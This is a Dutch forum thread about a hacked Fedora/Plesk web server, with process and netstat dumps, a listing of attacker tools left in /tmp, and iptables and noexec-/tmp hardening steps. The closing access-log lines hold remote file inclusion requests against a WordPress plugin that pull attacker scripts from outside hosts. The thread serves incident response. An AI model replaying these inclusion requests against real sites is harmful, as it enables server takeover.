Onderwerp: Server gehacht !!

Hallo allemaal,

Volgens mij heb ik een ernstig probleem... mijn cpu is constant bezig met taken als ik bijv. top doe kan ik dit zien en daar staat apache met het comando perl te draaien en houd de cpu constant tot 99% bezig !

2939 apache 25 0 20348 4828 1816 R 99.9 0.2 606:00.17 perl

dit staat ook in mijn log wat ik opgestuurd krijg:

User apache:
/tmp/.../.ICE-unix/massbots/y2kupdate >/dev/null 2>&1: 1229 Time(s)

Connection attempts using mod_proxy:
128.241.236.106 -> 128.241.236.106:56213 : 6 Time(s)
194.109.21.230 -> 194.109.153.5:11111 : 2 Time(s)
212.241.208.226 -> 212.241.177.206:7250 : 2 Time(s)
66.207.164.22 -> 66.207.164.23:6670 : 4 Time(s)
66.252.30.122 -> 66.252.30.122:6667 : 2 Time(s)

ik heb al geprobeerd locate te doen voor y2kupdate en de contab dire bij apache staat eriuit gehaald... maar kennelijk makt dit niet uit ! weet iemand wat ik moet doen ? want volgens mij is mijn server gehackt !!

HELP!

ik draai fedora core 4 en plesk 8.1

bedankt voor de reacties !!

groeten Armando

Kun je een dump geven van je process lijst en je openstaande prijzen

fuser 443/tcp

dan

kill -9 (cut en paste de process id's van de output van fuser)

/etc/init.d/httpd restart

Dan

grep 'perl' /var/www/vhosts/*/statistics/logs/access_log

adh van de output kan je wellicht zien langs welk script je server geexploited is. Nodige acties ondernemen. Chmod best ook die massbots.

O ja, en je sluit best die irc poorten:

iptables -I OUTPUT -p tcp -m multiport --destination-ports 3131,6660,6661,6662,6663,6664,6665,6666,6667,6668, 6669,7000 -j DROP

iptables -I INPUT -p tcp -m multiport --destination-ports 3131,6660,6661,6662,6663,6664,6665,6666,6667,6668, 6669,7000 -j DROP

Oorspronkelijk geplaatst door Ryan Kalkhoven

Kun je een dump geven van je process lijst en je openstaande prijzen

Ik neem aan dat daar "processen" moest staan ipv prijzen ?

Oorspronkelijk geplaatst door Erik H.

Ik neem aan dat daar "processen" moest staan ipv prijzen ?

Verder ben ik niet gebrand op geld verdienen hoor (typen en een gesprek voeren gaat niet samen)

Foutje moest poorten zijn.

gewoon de screenoutput van top bedoel je ??

top - 12:26:38 up 10:34, 1 user, load average: 1.02, 1.07, 1.02
Tasks: 101 total, 2 running, 98 sleeping, 0 stopped, 1 zombie
Cpu(s): 42.1% us, 9.7% sy, 0.1% ni, 47.4% id, 0.4% wa, 0.0% hi, 0.1% si
Mem: 3079512k total, 679404k used, 2400108k free, 92108k buffers
Swap: 2031608k total, 0k used, 2031608k free, 246152k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2939 apache 25 0 20348 4828 1816 R 99.9 0.2 628:37.17 perl
14499 root 15 0 7296 944 696 R 2.0 0.0 0:00.01 top
1 root 16 0 4880 600 500 S 0.0 0.0 0:00.77 init
2 root RT 0 0 0 0 S 0.0 0.0 0:00.01 migration/0
3 root 34 19 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/0
4 root RT 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
5 root RT 0 0 0 0 S 0.0 0.0 0:00.01 migration/1
6 root 34 19 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd/1
7 root RT 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/1
8 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 events/0
9 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 events/1
10 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 khelper
11 root 11 -5 0 0 0 S 0.0 0.0 0:00.00 kthread
15 root 20 -5 0 0 0 S 0.0 0.0 0:00.00 kacpid
118 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 kblockd/0
119 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 kblockd/1
122 root 15 0 0 0 0 S 0.0 0.0 0:00.00 khubd
175 root 20 0 0 0 0 S 0.0 0.0 0:00.00 pdflush
176 root 15 0 0 0 0 S 0.0 0.0 0:01.10 pdflush
178 root 15 -5 0 0 0 S 0.0 0.0 0:00.00 aio/0
179 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 aio/1
177 root 22 0 0 0 0 S 0.0 0.0 0:00.00 kswapd0
264 root 15 0 0 0 0 S 0.0 0.0 0:00.00 kseriod
424 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 ata/0
425 root 10 -5 0 0 0 S 0.0 0.0 0:00.00 ata/1
431 root 19 0 0 0 0 S 0.0 0.0 0:00.00 scsi_eh_0
432 root 19 0 0 0 0 S 0.0 0.0 0:00.00 scsi_eh_1

Ik bedoelde een "netstat -anp" en een "ps -aux"

ps -aux zal je meer leren

]0;root@centralnexus:/[root@centralnexus /]# "netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:2912 0.0.0.0:* LISTEN 2649/php
tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN 14179/couriertcpd
tcp 0 0 0.0.0.0:32769 0.0.0.0:* LISTEN 1973/rpc.statd
tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN 14244/couriertcpd
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 14294/mysqld
tcp 0 0 0.0.0.0:106 0.0.0.0:* LISTEN 2091/xinetd
tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN 14187/couriertcpd
tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN 14166/couriertcpd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1956/portmap
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 14600/httpd
tcp 0 0 0.0.0.0:8880 0.0.0.0:* LISTEN 14189/httpsd
tcp 0 0 0.0.0.0:465 0.0.0.0:* LISTEN 2091/xinetd
tcp 0 0 83.149.119.21:53 0.0.0.0:* LISTEN 14206/named
tcp 0 0 83.149.119.20:53 0.0.0.0:* LISTEN 14206/named
tcp 0 0 83.149.119.19:53 0.0.0.0:* LISTEN 14206/named
tcp 0 0 83.149.119.18:53 0.0.0.0:* LISTEN 14206/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 14206/named
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 2091/xinetd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2542/sshd
tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN 2488/cupsd
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 14206/named
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 2091/xinetd
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 14600/httpd
tcp 0 0 0.0.0.0:8443 0.0.0.0:* LISTEN 14189/httpsd
tcp 0 0 127.0.0.1:2911 0.0.0.0:* LISTEN 2650/monit
tcp 0 0 83.149.119.19:8443 212.182.152.35:12765 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12766 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12767 TIME_WAIT -
tcp 0 0 83.149.119.19:80 212.182.152.35:12764 TIME_WAIT -
tcp 0 0 83.149.119.19:80 212.182.152.35:12763 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12788 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12789 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12790 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12784 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12785 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12786 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12787 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12780 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12781 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12782 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12783 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12776 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12777 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12778 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12779 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12772 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12773 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12774 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12775 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12768 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12769 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12770 TIME_WAIT -
tcp 0 0 83.149.119.19:8443 212.182.152.35:12771 TIME_WAIT -
tcp 0 0 83.149.119.18:80 62.6.249.131:11570 TIME_WAIT -
tcp 0 1 83.149.119.19:80 212.182.152.35:12681 FIN_WAIT1 -
tcp 0 0 83.149.119.18:80 213.249.176.226:22092 TIME_WAIT -
tcp 0 1556 83.149.119.19:22 212.182.152.35:12300 ESTABLISHED 13361/0
udp 0 0 0.0.0.0:32769 0.0.0.0:* 1973/rpc.statd
udp 0 0 0.0.0.0:34699 0.0.0.0:* 14206/named
udp 0 0 83.149.119.21:53 0.0.0.0:* 14206/named
udp 0 0 83.149.119.20:53 0.0.0.0:* 14206/named
udp 0 0 83.149.119.19:53 0.0.0.0:* 14206/named
udp 0 0 83.149.119.18:53 0.0.0.0:* 14206/named
udp 0 0 127.0.0.1:53 0.0.0.0:* 14206/named
udp 0 0 0.0.0.0:877 0.0.0.0:* 1973/rpc.statd
udp 0 0 0.0.0.0:111 0.0.0.0:* 1956/portmap
udp 0 0 0.0.0.0:631 0.0.0.0:* 2488/cupsd
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 7214 2563/spamd_full.soc /tmp/spamd_full.sock
unix 2 [ ACC ] STREAM LISTENING 7297 2606/hald @/tmp/hald-local/dbus-TtuM6dYu7Q
unix 2 [ ACC ] STREAM LISTENING 7277 2597/dbus-daemon /var/run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 163750923 14294/mysqld /var/lib/mysql/mysql.sock
unix 2 [ ACC ] STREAM LISTENING 7228 2570/gpm /dev/gpmctl
unix 2 [ ] DGRAM 7298 2606/hald @/var/run/hal/hotplug_socket2
unix 18 [ ] DGRAM 6043 1938/syslogd /dev/log
unix 2 [ ] DGRAM 4691 1130/udevd @udevd
unix 2 [ ACC ] STREAM LISTENING 163751933 14603/httpd /var/run/fpcgisock
unix 2 [ ACC ] STREAM LISTENING 6870 2280/sdpd /var/run/sdp
unix 2 [ ACC ] STREAM LISTENING 7037 2480/acpid /var/run/acpid.socket
unix 3 [ ] STREAM CONNECTED 163751016 14294/mysqld /var/lib/mysql/mysql.sock
unix 3 [ ] STREAM CONNECTED 163751015 2649/php
unix 2 [ ] DGRAM 163750877 14246/courierlogger
unix 2 [ ] DGRAM 163750876 14188/courierlogger
unix 2 [ ] DGRAM 163750870 14238/courierlogger
unix 2 [ ] DGRAM 163750816 14206/named
unix 2 [ ] DGRAM 163750805 14168/courierlogger
unix 2 [ ] DGRAM 163750660 14129/splogger
unix 3 [ ] STREAM CONNECTED 8422 2825/spamd child
unix 3 [ ] STREAM CONNECTED 8421 2563/spamd_full.soc
unix 3 [ ] STREAM CONNECTED 8420 2824/spamd child
unix 3 [ ] STREAM CONNECTED 8419 2563/spamd_full.soc
unix 2 [ ] DGRAM 8354 2649/php
unix 3 [ ] STREAM CONNECTED 7565 2597/dbus-daemon /var/run/dbus/system_bus_socket
unix 3 [ ] STREAM CONNECTED 7564 2606/hald
unix 3 [ ] STREAM CONNECTED 7566 2606/hald @/tmp/hald-local/dbus-TtuM6dYu7Q
unix 3 [ ] STREAM CONNECTED 7563 2629/hald-addon-sto
unix 3 [ ] STREAM CONNECTED 7489 2480/acpid /var/run/acpid.socket
unix 3 [ ] STREAM CONNECTED 7488 2611/hald-addon-acp
unix 3 [ ] STREAM CONNECTED 7497 2606/hald @/tmp/hald-local/dbus-TtuM6dYu7Q
unix 3 [ ] STREAM CONNECTED 7487 2611/hald-addon-acp
unix 3 [ ] STREAM CONNECTED 7280 2597/dbus-daemon
unix 3 [ ] STREAM CONNECTED 7279 2597/dbus-daemon
unix 2 [ ] DGRAM 7240 2577/crond
unix 2 [ ] DGRAM 7226 2570/gpm
unix 2 [ ] DGRAM 7210 2563/spamd_full.soc
unix 2 [ ] DGRAM 6853 2280/sdpd
unix 2 [ ] DGRAM 6852 2276/hcid: processi
unix 2 [ ] DGRAM 6513 2091/xinetd
unix 3 [ ] STREAM CONNECTED 6389 2019/rpc.idmapd
unix 3 [ ] STREAM CONNECTED 6388 2019/rpc.idmapd
unix 2 [ ] DGRAM 6143 1989/auditd
unix 2 [ ] DGRAM 6098 1973/rpc.statd
unix 2 [ ] DGRAM 6046 1940/klogd

[root@centralnexus /]# ps -aux
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.5/FAQ
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4880 600 ? S 01:52 0:00 init [3]
root 2 0.0 0.0 0 0 ? S 01:52 0:00 [migration/0]
root 3 0.0 0.0 0 0 ? SN 01:52 0:00 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S 01:52 0:00 [watchdog/0]
root 5 0.0 0.0 0 0 ? S 01:52 0:00 [migration/1]
root 6 0.0 0.0 0 0 ? SN 01:52 0:00 [ksoftirqd/1]
root 7 0.0 0.0 0 0 ? S 01:52 0:00 [watchdog/1]
root 8 0.0 0.0 0 0 ? S< 01:52 0:00 [events/0]
root 9 0.0 0.0 0 0 ? S< 01:52 0:00 [events/1]
root 10 0.0 0.0 0 0 ? S< 01:52 0:00 [khelper]
root 11 0.0 0.0 0 0 ? S< 01:52 0:00 [kthread]
root 15 0.0 0.0 0 0 ? S< 01:52 0:00 [kacpid]
root 118 0.0 0.0 0 0 ? S< 01:52 0:00 [kblockd/0]
root 119 0.0 0.0 0 0 ? S< 01:52 0:00 [kblockd/1]
root 122 0.0 0.0 0 0 ? S 01:52 0:00 [khubd]
root 175 0.0 0.0 0 0 ? S 01:52 0:00 [pdflush]
root 176 0.0 0.0 0 0 ? S 01:52 0:01 [pdflush]
root 178 0.0 0.0 0 0 ? S< 01:52 0:00 [aio/0]
root 179 0.0 0.0 0 0 ? S< 01:52 0:00 [aio/1]
root 177 0.0 0.0 0 0 ? S 01:52 0:00 [kswapd0]
root 264 0.0 0.0 0 0 ? S 01:52 0:00 [kseriod]
root 424 0.0 0.0 0 0 ? S< 01:52 0:00 [ata/0]
root 425 0.0 0.0 0 0 ? S< 01:52 0:00 [ata/1]
root 431 0.0 0.0 0 0 ? S 01:52 0:00 [scsi_eh_0]
root 432 0.0 0.0 0 0 ? S 01:52 0:00 [scsi_eh_1]
root 484 0.0 0.0 0 0 ? S< 01:52 0:00 [kmirrord/0]
root 485 0.0 0.0 0 0 ? S< 01:52 0:00 [kmirrord/1]
root 498 0.0 0.0 0 0 ? S 01:52 0:08 [md1_raid5]
root 499 0.0 0.0 0 0 ? S 01:52 0:00 [md0_raid1]
root 504 0.0 0.0 0 0 ? S 01:52 0:04 [kjournald]
root 1130 0.0 0.0 3752 556 ? S<s 01:52 0:00 udevd
root 1165 0.0 0.0 0 0 ? S 01:52 0:00 [shpchpd_event]
root 1283 0.0 0.0 0 0 ? S 01:52 0:00 [kjournald]
root 1542 0.0 0.0 2636 492 ? Ss 01:52 0:00 cpuspeed -d -n
root 1543 0.0 0.0 0 0 ? Z 01:52 0:00 [cpuspeed] <defunct>
root 1938 0.0 0.0 3728 652 ? Ss 01:52 0:00 syslogd -m 0
root 1940 0.0 0.0 2648 516 ? Ss 01:52 0:00 klogd -x
rpc 1956 0.0 0.0 4844 656 ? Ss 01:52 0:00 portmap
rpcuser 1973 0.0 0.0 5912 820 ? Ss 01:52 0:00 rpc.statd
root 1981 0.0 0.0 2720 492 ? Ss 01:52 0:00 mdadm --monitor --scan -f --pid-file=/v
root 1989 0.0 0.0 14040 640 ? S<sl 01:52 0:00 auditd
root 1991 0.0 0.0 0 0 ? S< 01:52 0:00 [kauditd]
root 2019 0.0 0.0 21008 1120 ? Ss 01:52 0:00 rpc.idmapd
root 2091 0.0 0.0 8816 928 ? Ss 01:52 0:00 xinetd -stayalive -pidfile /var/run/xin
root 2276 0.0 0.0 6296 868 ? Ss 01:52 0:00 hcid: processing events
root 2280 0.0 0.0 3724 608 ? Ss 01:52 0:00 sdpd
root 2304 0.0 0.0 0 0 ? S< 01:52 0:00 [krfcommd]
root 2442 0.0 0.0 10068 800 ? Ss 01:52 0:00 /usr/sbin/automount --timeout=60 /misc
root 2469 0.0 0.0 10056 788 ? Ss 01:52 0:00 /usr/sbin/automount --timeout=60 /net p
root 2480 0.0 0.0 2644 580 ? Ss 01:52 0:00 /usr/sbin/acpid
root 2488 0.0 0.0 72420 2640 ? Ss 01:52 0:00 cupsd
root 2542 0.0 0.0 23100 2108 ? Ss 01:52 0:00 /usr/sbin/sshd
root 2563 0.0 1.2 114960 39196 ? Ss 01:52 0:01 /usr/bin/spamd -u popuser -d -m 20 -x -
root 2570 0.0 0.0 4288 560 ? Ss 01:53 0:00 gpm -m /dev/input/mice -t exps2
root 2577 0.0 0.0 57148 1236 ? Ss 01:53 0:00 crond
root 2590 0.0 0.0 9068 836 ? Ss 01:53 0:00 /usr/sbin/atd
dbus 2597 0.0 0.0 8764 1304 ? Ss 01:53 0:00 dbus-daemon --system
root 2606 0.0 0.0 14068 2844 ? Ss 01:53 0:00 hald --retain-privileges
root 2611 0.0 0.0 7288 704 ? S 01:53 0:00 hald-addon-acpi
root 2629 0.0 0.0 7296 716 ? S 01:53 0:05 hald-addon-storage
mailman 2636 0.0 0.3 98720 9612 ? Ss 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/ma
root 2643 0.0 0.0 2632 436 tty1 Ss+ 01:53 0:00 /sbin/mingetty tty1
root 2644 0.0 0.0 2636 440 tty2 Ss+ 01:53 0:00 /sbin/mingetty tty2
root 2645 0.0 0.0 2632 432 tty3 Ss+ 01:53 0:00 /sbin/mingetty tty3
root 2646 0.0 0.0 2636 440 tty4 Ss+ 01:53 0:00 /sbin/mingetty tty4
root 2647 0.0 0.0 2632 432 tty5 Ss+ 01:53 0:00 /sbin/mingetty tty5
root 2648 0.0 0.0 2636 440 tty6 Ss+ 01:53 0:00 /sbin/mingetty tty6
root 2650 0.0 0.0 61228 2556 ? Ssl 01:53 0:10 /usr/local/psa/admin/bin/modules/watchd
mailman 2721 0.0 0.3 99508 9632 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2724 0.0 0.3 99556 9640 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2725 0.0 0.3 99532 9636 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2726 0.0 0.3 99428 9628 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2746 0.0 0.3 99728 9684 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2748 0.0 0.3 99756 9740 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2750 0.0 0.3 99552 9636 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
mailman 2751 0.0 0.3 99556 9632 ? S 01:53 0:00 /usr/bin/python /usr/lib/mailman/bin/qr
root 2649 0.0 0.2 88176 7732 ? Ss 01:53 0:00 /usr/local/psa/admin/bin/php /usr/local
popuser 2824 0.0 1.4 119536 43860 ? S 01:53 0:04 spamd child
popuser 2825 0.0 1.2 114960 39196 ? S 01:53 0:00 spamd child
root 13361 0.0 0.1 43592 3080 ? Ss 11:54 0:00 sshd: root@pts/0
root 13375 0.0 0.0 54072 1696 pts/0 Ss 11:54 0:00 -bash
qmails 14128 0.0 0.0 2688 404 ? S 12:22 0:00 qmail-send
qmaill 14129 0.0 0.0 2636 468 ? S 12:22 0:00 splogger qmail
root 14130 0.0 0.0 2676 392 ? S 12:22 0:00 qmail-lspawn ./Maildir/
qmailr 14131 0.0 0.0 2676 372 ? S 12:22 0:00 qmail-rspawn
qmailq 14132 0.0 0.0 2632 348 ? S 12:22 0:00 qmail-clean
root 14166 0.0 0.0 17372 972 ? S 12:22 0:00 /usr/lib/courier-imap/couriertcpd -addr
root 14179 0.0 0.0 17368 968 ? S 12:22 0:00 /usr/lib/courier-imap/couriertcpd -addr
root 14187 0.0 0.0 17368 968 ? S 12:22 0:00 /usr/lib/courier-imap/couriertcpd -addr
root 14168 0.0 0.0 15220 708 ? S 12:22 0:00 /usr/sbin/courierlogger imapd
root 14188 0.0 0.0 15220 708 ? S 12:22 0:00 /usr/sbin/courierlogger imapd-ssl
named 14206 0.0 0.1 60332 3912 ? Ssl 12:22 0:00 /usr/sbin/named -u named -c /etc/named.
root 14238 0.0 0.0 15220 704 ? S 12:22 0:00 /usr/sbin/courierlogger pop3d
root 14244 0.0 0.0 17372 968 ? S 12:22 0:00 /usr/lib/courier-imap/couriertcpd -addr
root 14246 0.0 0.0 15224 708 ? S 12:22 0:00 /usr/sbin/courierlogger pop3d-ssl
root 14261 0.0 0.0 53936 1324 ? S 12:22 0:00 /bin/sh /usr/bin/mysqld_safe --defaults
mysql 14294 0.0 0.9 152992 27940 ? Sl 12:22 0:00 /usr/libexec/mysqld --defaults-file=/et
root 14600 0.0 0.6 146844 18988 ? Ss 12:29 0:00 /usr/sbin/httpd
root 14603 0.0 0.4 113600 12344 ? S 12:29 0:00 /usr/sbin/httpd
apache 14604 0.0 0.4 113940 12688 ? S 12:29 0:00 /usr/sbin/httpd
apache 14605 0.0 0.6 146980 19040 ? S 12:29 0:00 /usr/sbin/httpd
apache 14606 0.0 0.6 147112 19500 ? S 12:29 0:00 /usr/sbin/httpd
apache 14607 0.1 0.9 156560 29372 ? S 12:29 0:00 /usr/sbin/httpd
apache 14608 0.0 0.9 155328 28300 ? S 12:29 0:00 /usr/sbin/httpd
apache 14609 0.0 0.6 147116 19504 ? S 12:29 0:00 /usr/sbin/httpd
apache 14610 0.0 0.6 146980 19156 ? S 12:29 0:00 /usr/sbin/httpd
apache 14611 0.0 0.9 155676 28440 ? S 12:29 0:00 /usr/sbin/httpd
apache 14612 0.1 1.2 164616 37576 ? S 12:29 0:00 /usr/sbin/httpd
root 14189 0.0 0.2 80948 7072 ? Ss 12:22 0:00 /usr/local/psa/admin/bin/httpsd
psaadm 14724 0.3 0.7 136204 24476 ? S 12:30 0:00 /usr/local/psa/admin/bin/httpsd
psaadm 14734 0.1 0.6 135104 21164 ? S 12:31 0:00 /usr/local/psa/admin/bin/httpsd
qmaild 14762 0.0 0.0 15296 1072 ? Ss 12:32 0:00 /var/qmail/bin/qmail-smtpd /var/qmail/b
root 14770 0.0 0.0 9548 676 ? S 12:33 0:00 bin/qmail-queue
root 14782 0.0 0.0 52960 944 pts/0 R+ 12:33 0:00 ps -aux

netstat -peanut is opzich ook wel handig..

[root@centralnexus /]# netstat -peanut
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:2912 0.0.0.0:* LISTEN 0 8360 2649/php
tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN 0 163750789 14179/couriertcpd
tcp 0 0 0.0.0.0:32769 0.0.0.0:* LISTEN 29 6112 1973/rpc.statd
tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN 0 163750872 14244/couriertcpd
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 0 163750918 14294/mysqld
tcp 0 0 0.0.0.0:106 0.0.0.0:* LISTEN 0 6572 2091/xinetd
tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN 0 163750858 14187/couriertcpd
tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN 0 163750778 14166/couriertcpd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 0 6068 1956/portmap
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 163751918 14600/httpd
tcp 0 0 0.0.0.0:8880 0.0.0.0:* LISTEN 0 163750831 14189/httpsd
tcp 0 0 0.0.0.0:465 0.0.0.0:* LISTEN 0 6574 2091/xinetd
tcp 0 0 83.149.119.21:53 0.0.0.0:* LISTEN 25 163750851 14206/named
tcp 0 0 83.149.119.20:53 0.0.0.0:* LISTEN 25 163750848 14206/named
tcp 0 0 83.149.119.19:53 0.0.0.0:* LISTEN 25 163750846 14206/named
tcp 0 0 83.149.119.18:53 0.0.0.0:* LISTEN 25 163750844 14206/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 25 163750842 14206/named
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 0 6571 2091/xinetd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 7178 2542/sshd
tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN 0 7157 2488/cupsd
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 25 163750854 14206/named
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 0 6573 2091/xinetd
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 0 163751919 14600/httpd
tcp 0 0 0.0.0.0:8443 0.0.0.0:* LISTEN 0 163750832 14189/httpsd
tcp 0 0 127.0.0.1:2911 0.0.0.0:* LISTEN 0 8251 2650/monit
tcp 0 0 83.149.119.18:80 80.189.241.224:1179 TIME_WAIT 0 0 -
tcp 0 0 83.149.119.18:25 91.76.39.226:4718 ESTABLISHED 0 163753137 14762/qmail-smtpd
tcp 0 0 83.149.119.19:22 212.182.152.35:12851 ESTABLISHED 0 163753321 14817/sshd: root@no
tcp 0 4960 83.149.119.19:22 212.182.152.35:12300 ESTABLISHED 0 163737070 13361/0
udp 0 0 0.0.0.0:32769 0.0.0.0:* 29 6108 1973/rpc.statd
udp 0 0 0.0.0.0:34699 0.0.0.0:* 25 163750853 14206/named
udp 0 0 83.149.119.21:53 0.0.0.0:* 25 163750850 14206/named
udp 0 0 83.149.119.20:53 0.0.0.0:* 25 163750847 14206/named
udp 0 0 83.149.119.19:53 0.0.0.0:* 25 163750845 14206/named
udp 0 0 83.149.119.18:53 0.0.0.0:* 25 163750843 14206/named
udp 0 0 127.0.0.1:53 0.0.0.0:* 25 163750841 14206/named
udp 0 0 0.0.0.0:877 0.0.0.0:* 0 6099 1973/rpc.statd
udp 0 0 0.0.0.0:111 0.0.0.0:* 0 6067 1956/portmap
udp 0 0 0.0.0.0:631 0.0.0.0:* 0 7158 2488/cupsd
[root@centralnexus /]#

ik heb nu wel trouwens die apache / perl job gekilled ...



ik krijg ook het volgende te zien:

[root@centralnexus tmp]# ls -h
0xc0000000 h00lyshit krad krad3 logwatch.eropI4jz psa

[root@centralnexus tmp]# cd /tmp/.
./ ../ .../ .home/ .ICE-unix/

[root@centralnexus tmp]# cd /tmp/.../
adeus bnc .ICE-unix/ massbots.tgz r00t shell.php telnetd
bd bot iv pico root sky zc.pl

DAMN

het gaat echt niet goed volgens mij !!!

Doe eens:

grep 'perl' /var/www/vhosts/*/statistics/logs/access_log

En je zit waarschijnlijk van waar de exploits komen.

Wellicht is het handig als er iemand even naar kijkt met wat Linux kennis.
Zo te zien hebben ze ergens een lek gebruikt in je systeem en wat scripts geïnstalleerd.

Dat iptables blok voor de poorten van irc heb je zeker al gedraaid?

het zit hem in de map /tmp

ik heb het volgende uitgevoerd wat ik ergens heb gelezen tegen kwaadwillige gebruikers:\

#!/bin/sh
dd if=/dev/zero of=/tmp.bin bs=1M count=1000
mkfs.ext3 /tmp.bin -F
mv /tmp /tmp.old
mv /usr/tmp /usr/tmp.old
mv /var/tmp /var/tmp.old
mkdir /tmp
mount /tmp.bin /tmp -o noexec,nosuid,rw,loop
ln -s /tmp /usr/tmp
ln -s /tmp /var/tmp
chmod 777 /tmp
chmod 777 /usr/tmp
chmod 777 /var/tmp
echo "/tmp.bin /tmp ext3 noexec,nosuid,rw,loop 0 0" >> /etc/fstab

als ik de iptables aanpas dan staat er

iptables v1.3.0: invalid port/service `' specified
Try `iptables -h' or 'iptables --help' for more information.


[root@centralnexus tmp]# grep 'perl' /var/www/vhosts/*/statistics/logs/access_log
/var/www/vhosts/purestas.com/statistics/logs/access_log:203.157.172.2 - - [08/May/2007:04:45:08 +0200] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://shellbr.xpg.com.br/cmd.txt? HTTP/1.1" 200 11584 "-" "libwww-perl/5.79"
/var/www/vhosts/purestas.com/statistics/logs/access_log:80.6.95.5 - - [08/May/2007:06:07:24 +0200] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pnp21.co.kr/bbs/data/.xpl/cmd.gif? HTTP/1.1" 200 11584 "-" "libwww-perl/5.805"
/var/www/vhosts/purestas.com/statistics/logs/access_log:81.7.87.251 - - [08/May/2007:09:18:00 +0200] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.prancuzai-mopsai.lt/eval.txt? HTTP/1.1" 200 514 "-" "libwww-perl/5.65"
